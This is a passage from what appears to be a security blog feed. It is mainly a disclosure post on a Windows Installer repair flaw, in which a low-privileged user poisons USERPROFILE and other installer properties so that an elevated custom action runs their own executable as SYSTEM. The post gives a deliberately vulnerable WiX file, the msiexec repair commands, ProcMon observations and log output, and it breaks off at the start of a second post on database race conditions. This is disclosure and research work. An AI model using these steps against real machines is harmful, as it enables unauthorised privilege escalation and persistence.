&lt;span class=&quot;nt&quot;&gt;&amp;lt;Wix&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://schemas.microsoft.com/wix/2006/wi&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;Product&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{12345678-9259-4E29-91EA-8F8646930000}&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Language=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1033&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Manufacturer=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;YourCompany&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;HelloInstaller&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;UpgradeCode=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{12345678-9259-4E29-91EA-8F8646930001}&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Version=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1.0.0.0&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;Package&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Comments=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;This installer database contains the logic and data required to install HelloInstaller.&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Compressed=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;yes&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Description=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;HelloInstaller&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;InstallerVersion=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;200&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Languages=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1033&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Manufacturer=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;YourCompany&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Platform=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;x86&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;ReadOnly=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;no&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;

        &lt;span class=&quot;nt&quot;&gt;&amp;lt;CustomAction&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;SetRunCommand&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Property=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;RunCommand&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;amp;quot;[%USERPROFILE]\test.exe&amp;amp;quot;&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Execute=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;immediate&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;CustomAction&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;RunCommand&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;BinaryKey=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;WixCA&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;DllEntry=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;WixQuietExec64&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Execute=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;commit&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Return=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ignore&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Impersonate=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;no&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;Directory&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;TARGETDIR&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;SourceDir&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;Directory&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ProgramFilesFolder&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
                &lt;span class=&quot;nt&quot;&gt;&amp;lt;Directory&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;INSTALLFOLDER&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;HelloInstaller&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;ShortName=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;krp6fjyg&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
                    &lt;span class=&quot;nt&quot;&gt;&amp;lt;Component&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ApplicationShortcut&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Guid=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{12345678-9259-4E29-91EA-8F8646930002}&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;KeyPath=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;yes&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
                        &lt;span class=&quot;nt&quot;&gt;&amp;lt;CreateFolder&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Directory=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;INSTALLFOLDER&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
                    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/Component&amp;gt;&lt;/span&gt;
                &lt;span class=&quot;nt&quot;&gt;&amp;lt;/Directory&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;/Directory&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/Directory&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;Property&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ALLUSERS&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;Feature&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ProductFeature&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Level=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Title=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Main Feature&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;ComponentRef&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ApplicationShortcut&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/Feature&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;MajorUpgrade&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;DowngradeErrorMessage=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;A newer version of [ProductName] is already installed.&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Schedule=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;afterInstallValidate&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;

        &lt;span class=&quot;nt&quot;&gt;&amp;lt;InstallExecuteSequence&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;Custom&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Action=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;SetRunCommand&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;After=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;InstallInitialize&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;1&lt;span class=&quot;nt&quot;&gt;&amp;lt;/Custom&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;Custom&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Action=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;RunCommand&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;After=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;SetRunCommand&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;1&lt;span class=&quot;nt&quot;&gt;&amp;lt;/Custom&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/InstallExecuteSequence&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/Product&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/Wix&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This looks like a perfectly fine WSX file. It defines the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;InstallExecuteSequence&lt;/code&gt;,  which consists of two custom actions. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SetRunCommand&lt;/code&gt; is queued to run right after the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;InstallInitialize&lt;/code&gt; event. Then, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RunCommand&lt;/code&gt; should start right after &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SetRunCommand&lt;/code&gt; finishes.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SetRunCommand&lt;/code&gt; action simply sets the value of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RunCommand&lt;/code&gt; property. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[%USERPROFILE]&lt;/code&gt; string will be expanded to the path of the current user’s profile directory. This is achieved by the installer using the value of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;USERPROFILE&lt;/code&gt; environment variable. The expansion process involves retrieving the environment variable’s value at &lt;strong&gt;runtime&lt;/strong&gt; and substituting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[%USERPROFILE]&lt;/code&gt; with this value.&lt;/p&gt;

&lt;p&gt;The second action, also called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RunCommand&lt;/code&gt;, uses the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RunCommand&lt;/code&gt; property and executes it by calling the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WixQuietExec64&lt;/code&gt; method, which is a great way to execute the command quietly and securely (without spawning any visible windows). The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Impersonate=&quot;no&quot;&lt;/code&gt; option enables the command to execute with LocalSystem’s full permissions.&lt;/p&gt;

&lt;p&gt;On a healthy system, the administrator’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;USERPROFILE&lt;/code&gt; directory cannot be accessed by any less privileged users. Whatever file is executed by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RunCommand&lt;/code&gt; shouldn’t be directly controllable by unprivileged users.&lt;/p&gt;

&lt;p&gt;We covered a rather simple example. Implementing the intended Custom Action is actually quite complicated. There are many mistakes that can be made. The actions may rely on untrusted resources, they can spawn hijackable console instances, or run with more privileges than necessary. These dangerous mistakes may be covered in future blogposts.&lt;/p&gt;

&lt;h3 id=&quot;testing-the-installer&quot;&gt;Testing the Installer&lt;/h3&gt;

&lt;p&gt;Having the &lt;a href=&quot;https://wixtoolset.org/&quot;&gt;WiX Toolset&lt;/a&gt; at hand, we can turn our XML into an MSI file. Note that we need to enable the additional &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WixUtilExtension&lt;/code&gt; to use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WixCA&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;language-batch highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;candle&lt;/span&gt; .\poc.wxs 
&lt;span class=&quot;kd&quot;&gt;light&lt;/span&gt; .\poc.wixobj &lt;span class=&quot;na&quot;&gt;-ext &lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;WixUtilExtension&lt;/span&gt;.dll
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;poc.msi&lt;/code&gt; file should be created in the current directory.&lt;/p&gt;

&lt;p&gt;According to our WSX file above, once the installation is initialized, our Custom Action should run the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;[%USERPROFILE]\test.exe&quot;&lt;/code&gt; file. We can set up a ProcMon filter to look for that event. Remember to also enable the “Integrity” column.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/custom-actions-procmon-filters.png&quot; alt=&quot;Procmon filters settings&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;We can install the application using any Admin account (the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Almighty&lt;/code&gt; user here)&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msiexec /i C:\path\to\poc.msi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;ProcMon should record the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CreateFile&lt;/code&gt; event. The file was not there, so additional file extensions were tried.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/custom-actions-procmon-almighty.png&quot; alt=&quot;NAME NOT FOUND event for the almighty user&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;The same sequence of actions can be reproduced by running an installation repair process. The command can point at the specific &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:/Windows/Installer/*.msi&lt;/code&gt; file or use a GUID that we defined in a WSX file:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msiexec /fa {12345678-9259-4E29-91EA-8F8646930000}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The result should be exactly the same if the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Almighty&lt;/code&gt; user triggered the repair process.&lt;/p&gt;

&lt;p&gt;On the other hand, note what happens if the installation repair was started by another unprivileged user: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lowpriv&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/custom-actions-procmon-lowpriv.png&quot; alt=&quot;NAME NOT FOUND event for the lowpriv user&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;It is the user’s environment that sets the executable path, but the command still executes with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;System&lt;/code&gt; level integrity, without any user impersonation! This leads to a straightforward privilege escalation.&lt;/p&gt;

&lt;p&gt;As a final confirmation, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lowpriv&lt;/code&gt; user would plant an &lt;em&gt;add-me-as-admin&lt;/em&gt; type of payload under the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:/Users/lowpriv/test.exe&lt;/code&gt; path. The installation process will not finish until the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test.exe&lt;/code&gt; is running, handling that behavior is rather trivial, though.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/custom-actions-event-properties.png&quot; alt=&quot;Event details&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Optionally, add &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/L*V log.txt&lt;/code&gt; to the repair command for a detailed log. The poisoned properties should be evident:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MSI (s) (98:B4) [02:01:33:733]: Machine policy value 'AlwaysInstallElevated' is 0
MSI (s) (98:B4) [02:01:33:733]: User policy value 'AlwaysInstallElevated' is 0
...
Action start 2:01:33: InstallInitialize.
MSI (s) (98:B4) [02:01:33:739]: Doing action: SetRunCommand
MSI (s) (98:B4) [02:01:33:739]: Note: 1: 2205 2:  3: ActionText
Action ended 2:01:33: InstallInitialize. Return value 1.
MSI (s) (98:B4) [02:01:33:740]: PROPERTY CHANGE: Adding RunCommand property. Its value is '&quot;C:\Users\lowpriv\test.exe&quot;'.
Action start 2:01:33: SetRunCommand.
MSI (s) (98:B4) [02:01:33:740]: Doing action: RunCommand
MSI (s) (98:B4) [02:01:33:740]: Note: 1: 2205 2:  3: ActionText
Action ended 2:01:33: SetRunCommand. Return value 1.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;the-poisoned-variables&quot;&gt;The Poisoned Variables&lt;/h3&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;repair&lt;/code&gt; operation in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msiexec.exe&lt;/code&gt; can be initiated by a standard user, while automatically elevating its privileges to execute certain actions, including various custom actions defined in the MSI file. Notably, not all custom actions execute with elevated privileges. Specifically, an action must be explicitly marked as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Impersonate=&quot;no&quot;&lt;/code&gt;, be scheduled between the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;InstallExecuteSequence&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;InstallFinalize&lt;/code&gt; events, and use either &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;commit&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rollback&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deferred&lt;/code&gt; as the execution type to run elevated.&lt;/p&gt;

&lt;p&gt;In the future, we may publish additional materials, including a toolset to hunt for affected installers that satisfy the above criteria.&lt;/p&gt;

&lt;p&gt;Elevated custom actions may use environment variables as well as Windows Installer properties (see &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/msi/property-reference&quot;&gt;the full list of properties)&lt;/a&gt;. I’ve observed the following properties can be “poisoned” by a standard user that invokes the repair process:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;“AdminToolsFolder”&lt;/li&gt;
  &lt;li&gt;“AppDataFolder”&lt;/li&gt;
  &lt;li&gt;“DesktopFolder”&lt;/li&gt;
  &lt;li&gt;“FavoritesFolder”&lt;/li&gt;
  &lt;li&gt;“LocalAppDataFolder”&lt;/li&gt;
  &lt;li&gt;“MyPicturesFolder”&lt;/li&gt;
  &lt;li&gt;“NetHoodFolder”&lt;/li&gt;
  &lt;li&gt;“PersonalFolder”&lt;/li&gt;
  &lt;li&gt;“PrintHoodFolder”&lt;/li&gt;
  &lt;li&gt;“ProgramMenuFolder”&lt;/li&gt;
  &lt;li&gt;“RecentFolder”&lt;/li&gt;
  &lt;li&gt;“SendToFolder”&lt;/li&gt;
  &lt;li&gt;“StartMenuFolder”&lt;/li&gt;
  &lt;li&gt;“StartupFolder”&lt;/li&gt;
  &lt;li&gt;“TempFolder”&lt;/li&gt;
  &lt;li&gt;“TemplateFolder”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Additionally, the following environment variables are often used by software installers (this list is not exhaustive):&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;“APPDATA”&lt;/li&gt;
  &lt;li&gt;“HomePath”&lt;/li&gt;
  &lt;li&gt;“LOCALAPPDATA”&lt;/li&gt;
  &lt;li&gt;&lt;del&gt;“TEMP”&lt;/del&gt;&lt;/li&gt;
  &lt;li&gt;&lt;del&gt;“TMP”&lt;/del&gt; (&lt;em&gt;Meanwhile, a separate patch introduced the SystemTemp concept and remediated these two variables. Thanks to @pfiatde for pointing it out!&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;“USERPROFILE”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These values are typically utilized to construct custom paths or as system command parameters. Poisoned values can alter the command’s intent, potentially leading to a command injection vulnerability.&lt;/p&gt;

&lt;p&gt;Note that the described issue is not exploitable on its own. The MSI file utilizing a vulnerable Custom Action must be already installed on the machine. However, the issue could be handy to pentesters performing Local Privilege Elevation or as a persistence mechanism.&lt;/p&gt;

&lt;h3 id=&quot;disclosure-timeline&quot;&gt;Disclosure Timeline&lt;/h3&gt;

&lt;p&gt;The details of this issue were reported to the Microsoft Security Response Center on December 1, 2023. The bug was confirmed on the latest Windows Insider Preview build at the time of the reporting: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;26002.1000.rs_prerelease.231118-1559&lt;/code&gt;.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Disclosure Timeline&lt;/th&gt;
      &lt;th&gt;Status&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;12/01/2023&lt;/td&gt;
      &lt;td&gt;The vulnerability reported to Microsoft&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;02/09/2024&lt;/td&gt;
      &lt;td&gt;Additional details requested&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;02/09/2024&lt;/td&gt;
      &lt;td&gt;Additional details provided&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;05/09/2024&lt;/td&gt;
      &lt;td&gt;Issue closed as non-reproducible: &lt;em&gt;“We completed the assessment and because we weren’t able to reproduce the issue with the repro steps provide _[sic]_. We don’t expect any further action on the case and we will proceed with closing out the case.”&lt;/em&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;We asked Microsoft to reopen the ticket and the blogpost draft was shared with Microsoft prior to the publication.&lt;/p&gt;

&lt;p&gt;As of now, the issue is still not fixed. We confirmed that it is affecting the current latest Windows Insider Preview build &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.0.25120.751&lt;/code&gt;.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>A Race to the Bottom - Database Transactions Undermining Your AppSec</title>
   <link href="https://blog.doyensec.com/2024/07/11/database-race-conditions.html"/>
   <updated>2024-07-11T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2024/07/11/database-race-conditions</id>
   <content type="html">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;Databases are a crucial part of any modern application. Like any external dependency, they introduce additional complexity for the developers building an application. In the real world, however, they are usually considered and used as a black box which provides storage functionality.&lt;/p&gt;

&lt;p&gt;This post aims shed light on a particular aspect of the complexity databases introduce which is often overlooked by developers, namely &lt;strong&gt;concurrency control&lt;/strong&gt;. The best way to do that is to start off by looking at a fairly common code pattern we at Doyensec see in our day-to-day work:&lt;/p&gt;

&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;db&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Db&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Transfer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;source&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;destination&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;amount&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;error&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Background&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pgx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;databaseUrl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;defer&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;c&quot;&gt;// (1)&lt;/span&gt;
